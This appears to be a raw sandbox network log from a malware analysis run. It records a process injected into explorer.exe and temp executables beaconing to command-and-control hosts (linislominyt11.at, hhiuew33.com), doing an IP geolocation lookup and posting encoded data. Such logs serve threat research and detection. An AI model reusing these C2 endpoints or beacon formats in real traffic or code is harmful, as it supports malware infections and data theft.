Aug 31, 2022 14:28:44.189415932 CEST	15225	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ihrksjf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 164 Host: linislominyt11.at
Aug 31, 2022 14:28:44.189439058 CEST	15225	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b8 8a 14 62 cc d6 4f 96 ef ce 4c af Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOL!okL<Axu.7i}S:M}3^nyQ00
Aug 31, 2022 14:28:44.957983971 CEST	15227	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:44 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.4	49729	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\F5C7.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:44.865967035 CEST	15226	OUT	GET /json/ HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: ip-api.com
Aug 31, 2022 14:28:44.904762983 CEST	15226	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 12:28:44 GMT Content-Type: application/json; charset=utf-8 Content-Length: 293 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 47 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 67 22 2c 22 63 69 74 79 22 3a 22 48 75 6e 65 6e 62 65 72 67 22 2c 22 7a 69 70 22 3a 22 36 33 33 33 22 2c 22 6c 61 74 22 3a 34 37 2e 31 37 33 2c 22 6c 6f 6e 22 3a 38 2e 34 32 30 34 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 45 54 20 41 66 72 69 63 61 20 28 50 74 79 29 20 4c 54 44 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZG","regionName":"Zug","city":"Hunenberg","zip":"6333","lat":47.173,"lon":8.4204,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"DET Africa (Pty) LTD","as":"AS212238 Datacamp Limited","query":"102.129.143.57"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.4	49730	210.92.250.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:45.238646030 CEST	15228	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wyort.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 120 Host: linislominyt11.at
Aug 31, 2022 14:28:45.238743067 CEST	15228	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b9 8a 14 62 cd d6 4f 96 f5 a9 48 dd Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOH>.!W-7Z1Sf_"Pb
Aug 31, 2022 14:28:46.695616961 CEST	15229	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:46 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 9c 5f c9 4d c8 f1 01 ae 2c f8 64 46 56 3a bf 61 05 69 89 40 30 11 36 82 fc cb ae d4 2a c0 69 27 16 35 ff b7 Data Ascii: Uys/~(u:R_M,dFV:ai@06*i'5

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.4	49731	45.136.151.102	80	C:\Users\user\AppData\Local\Temp\F5C7.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:46.409487009 CEST	15229	OUT	GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: www.hhiuew33.com
Aug 31, 2022 14:28:46.576721907 CEST	15229	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 36 30 0d 0a 52 54 56 4f 52 47 63 31 54 57 70 5a 63 30 6c 75 53 6d 68 69 62 56 4a 6d 59 7a 4e 53 65 55 6c 71 62 32 6c 57 56 58 42 57 59 33 70 61 57 55 6c 6c 65 55 70 36 59 56 64 52 61 55 39 71 53 58 6c 4f 56 45 46 35 54 57 70 46 63 30 6c 75 55 6e 42 69 56 31 56 70 54 32 70 46 4d 6b 35 71 62 6a 41 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 60RTVORGc1TWpZc0luSmhibVJmYzNSeUlqb2lWVXBWY3paWUlleUp6YVdRaU9qSXlOVEF5TWpFc0luUnBiV1VpT2pFMk5qbjA90
Aug 31, 2022 14:28:46.911477089 CEST	15235	OUT	POST /check/?sid=2250221&key=e7624e478d30bafa822680537a86875f HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 508 Host: www.hhiuew33.com
Aug 31, 2022 14:28:46.911571026 CEST	15235	OUT	Data Raw: 53 57 70 76 5a 30 6c 71 51 57 6c 4d 51 30 46 70 59 6c 64 47 61 6b 6c 71 62 32 64 4a 61 6b 35 72 54 6e 70 73 61 56 6c 74 55 6d 74 4e 52 47 68 71 57 54 4a 46 65 46 70 74 53 58 64 4e 62 56 6c 35 54 30 52 61 62 45 34 79 55 6d 31 5a 56 30 70 74 54 31 Data Ascii: SWpvZ0lqQWlMQ0FpYldGaklqb2dJak5rTnpsaVltUmtNRGhqWTJFeFptSXdNbVl5T0RabE4yUm1ZV0ptT1dFMElpd2dJbTltWlc1ZmNHeGhZMlVpT2lBaUlpd2dJbkJoZVVsdVptOGlPaUFpSWl3Z0luSmhkR2x2SWpvZ0lpSXNJQ0oxYVdRaU9pQWlNVEExTVNJc0lDSjFibDl3ZDJRaU9pQWlJaXdnSW5abGNuTnBiMjRpT2l
Aug 31, 2022 14:28:47.136684895 CEST	15236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:28:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 31 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 33 2c 22 61 63 63 6f 75 6e 74 73 22 3a 22 30 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b{"status":3,"accounts":"0"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.4	49734	45.136.151.102	80	C:\Users\user\AppData\Local\Temp\F5C7.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:48.328217983 CEST	15438	OUT	GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: www.hhiuew33.com
Aug 31, 2022 14:28:48.508616924 CEST	15439	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:28:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 36 30 0d 0a 52 54 56 4f 52 47 63 31 54 57 70 6e 63 30 6c 75 53 6d 68 69 62 56 4a 6d 59 7a 4e 53 65 55 6c 71 62 32 6c 6b 61 6c 5a 53 57 6d 78 5a 4d 45 6c 6c 65 55 70 36 59 56 64 52 61 55 39 71 53 58 6c 4f 56 45 46 35 54 6d 70 4e 63 30 6c 75 55 6e 42 69 56 31 56 70 54 32 70 46 4d 6b 35 71 62 6a 41 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 60RTVORGc1TWpnc0luSmhibVJmYzNSeUlqb2lkalZSWmxZMElleUp6YVdRaU9qSXlOVEF5TmpNc0luUnBiV1VpT2pFMk5qbjA90
Aug 31, 2022 14:28:48.568762064 CEST	15439	OUT	POST /check/?sid=2250263&key=adf8e58a65af6898b62025385f52bfe3 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 508 Host: www.hhiuew33.com
Aug 31, 2022 14:28:48.568818092 CEST	15440	OUT	Data Raw: 53 57 70 76 5a 30 6c 71 51 57 6c 4d 51 30 46 70 59 6c 64 47 61 6b 6c 71 62 32 64 4a 61 6b 35 72 54 6e 70 73 61 56 6c 74 55 6d 74 4e 52 47 68 71 57 54 4a 46 65 46 70 74 53 58 64 4e 62 56 6c 35 54 30 52 61 62 45 34 79 55 6d 31 5a 56 30 70 74 54 31 Data Ascii: SWpvZ0lqQWlMQ0FpYldGaklqb2dJak5rTnpsaVltUmtNRGhqWTJFeFptSXdNbVl5T0RabE4yUm1ZV0ptT1dFMElpd2dJbTltWlc1ZmNHeGhZMlVpT2lBaUlpd2dJbkJoZVVsdVptOGlPaUFpSWl3Z0luSmhkR2x2SWpvZ0lpSXNJQ0oxYVdRaU9pQWlNVEExTVNJc0lDSjFibDl3ZDJRaU9pQWlJaXdnSW5abGNuTnBiMjRpT2l
Aug 31, 2022 14:28:48.726952076 CEST	15440	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:28:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 31 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 33 2c 22 61 63 63 6f 75 6e 74 73 22 3a 22 30 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b{"status":3,"accounts":"0"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.4	49735	186.182.55.44	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:49.161731958 CEST	15441	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://savaqvdnf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 231 Host: linislominyt11.at
Aug 31, 2022 14:28:49.161745071 CEST	15441	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b9 8a 14 62 cc d6 4f 96 f2 a8 3f ed Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bO?8tgcV=N%m@@[xKs ;R&"]=#Wa9$yF2"z[iM:-RU<=/!Kyf2
Aug 31, 2022 14:28:50.011981010 CEST	15442	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:49 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49746	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.4	49736	186.182.55.44	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:50.328923941 CEST	15443	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yauem.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 112 Host: linislominyt11.at
Aug 31, 2022 14:28:50.336400032 CEST	15443	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 be 8a 14 62 cd d6 4f 96 9a b2 10 a6 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOdH1HfQK)
Aug 31, 2022 14:28:51.459486008 CEST	15444	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:51 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 94 1c c3 5c dd fb 05 a7 2c f2 25 57 17 34 ff 6b 4b 71 9c 54 26 0a 7d 9e a4 8a b8 d0 3c 8a 76 22 48 Data Ascii: Uys/~(u:R\,%W4kKqT&}<v"H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.4	49737	45.136.151.102	80	C:\Users\user\AppData\Local\Temp\F5C7.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:50.961720943 CEST	15444	OUT	GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: www.hhiuew33.com
Aug 31, 2022 14:28:51.136491060 CEST	15444	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:28:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 36 30 0d 0a 52 54 56 4f 52 47 63 31 54 58 70 46 63 30 6c 75 53 6d 68 69 62 56 4a 6d 59 7a 4e 53 65 55 6c 71 62 32 6c 61 62 55 70 74 55 31 56 53 65 45 6c 6c 65 55 70 36 59 56 64 52 61 55 39 71 53 58 6c 4f 56 45 46 36 54 6d 70 56 63 30 6c 75 55 6e 42 69 56 31 56 70 54 32 70 46 4d 6b 35 71 62 6a 41 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 60RTVORGc1TXpFc0luSmhibVJmYzNSeUlqb2labUptU1VSeElleUp6YVdRaU9qSXlOVEF6TmpVc0luUnBiV1VpT2pFMk5qbjA90
Aug 31, 2022 14:28:51.675950050 CEST	15446	OUT	POST /check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 508 Host: www.hhiuew33.com
Aug 31, 2022 14:28:51.676033020 CEST	15446	OUT	Data Raw: 53 57 70 76 5a 30 6c 71 51 57 6c 4d 51 30 46 70 59 6c 64 47 61 6b 6c 71 62 32 64 4a 61 6b 35 72 54 6e 70 73 61 56 6c 74 55 6d 74 4e 52 47 68 71 57 54 4a 46 65 46 70 74 53 58 64 4e 62 56 6c 35 54 30 52 61 62 45 34 79 55 6d 31 5a 56 30 70 74 54 31 Data Ascii: SWpvZ0lqQWlMQ0FpYldGaklqb2dJak5rTnpsaVltUmtNRGhqWTJFeFptSXdNbVl5T0RabE4yUm1ZV0ptT1dFMElpd2dJbTltWlc1ZmNHeGhZMlVpT2lBaUlpd2dJbkJoZVVsdVptOGlPaUFpSWl3Z0luSmhkR2x2SWpvZ0lpSXNJQ0oxYVdRaU9pQWlNVEExTVNJc0lDSjFibDl3ZDJRaU9pQWlJaXdnSW5abGNuTnBiMjRpT2l
Aug 31, 2022 14:28:51.848023891 CEST	15451	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:28:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 31 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 33 2c 22 61 63 63 6f 75 6e 74 73 22 3a 22 30 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b{"status":3,"accounts":"0"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.4	49740	45.136.151.102	80	C:\Users\user\AppData\Local\Temp\F5C7.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:53.375509977 CEST	15765	OUT	GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: www.hhiuew33.com
Aug 31, 2022 14:28:53.535804033 CEST	15766	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 36 30 0d 0a 52 54 56 4f 52 47 63 31 54 58 70 4e 63 30 6c 75 53 6d 68 69 62 56 4a 6d 59 7a 4e 53 65 55 6c 71 62 32 6c 5a 4d 44 46 77 55 30 56 52 4d 30 6c 6c 65 55 70 36 59 56 64 52 61 55 39 71 53 58 6c 4f 56 45 45 77 54 58 70 46 63 30 6c 75 55 6e 42 69 56 31 56 70 54 32 70 46 4d 6b 35 71 62 6a 41 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 60RTVORGc1TXpNc0luSmhibVJmYzNSeUlqb2lZMDFwU0VRM0lleUp6YVdRaU9qSXlOVEEwTXpFc0luUnBiV1VpT2pFMk5qbjA90
Aug 31, 2022 14:28:54.152446985 CEST	15766	OUT	POST /check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557f HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 508 Host: www.hhiuew33.com
Aug 31, 2022 14:28:54.152488947 CEST	15767	OUT	Data Raw: 53 57 70 76 5a 30 6c 71 51 57 6c 4d 51 30 46 70 59 6c 64 47 61 6b 6c 71 62 32 64 4a 61 6b 35 72 54 6e 70 73 61 56 6c 74 55 6d 74 4e 52 47 68 71 57 54 4a 46 65 46 70 74 53 58 64 4e 62 56 6c 35 54 30 52 61 62 45 34 79 55 6d 31 5a 56 30 70 74 54 31 Data Ascii: SWpvZ0lqQWlMQ0FpYldGaklqb2dJak5rTnpsaVltUmtNRGhqWTJFeFptSXdNbVl5T0RabE4yUm1ZV0ptT1dFMElpd2dJbTltWlc1ZmNHeGhZMlVpT2lBaUlpd2dJbkJoZVVsdVptOGlPaUFpSWl3Z0luSmhkR2x2SWpvZ0lpSXNJQ0oxYVdRaU9pQWlNVEExTVNJc0lDSjFibDl3ZDJRaU9pQWlJaXdnSW5abGNuTnBiMjRpT2l
Aug 31, 2022 14:28:54.347976923 CEST	15767	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:28:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 31 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 33 2c 22 61 63 63 6f 75 6e 74 73 22 3a 22 30 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b{"status":3,"accounts":"0"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.4	49741	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:55.198016882 CEST	15768	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ecoxfog.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 177 Host: linislominyt11.at
Aug 31, 2022 14:28:55.198067904 CEST	15768	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 be 8a 14 62 cc d6 4f 96 90 e3 51 c0 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOQ~m>('zzG4M}E7vt"NaUE6,lDLx
Aug 31, 2022 14:28:56.032816887 CEST	15769	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:55 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.4	49742	37.34.248.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:56.855983019 CEST	15770	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wbvrlh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 327 Host: linislominyt11.at
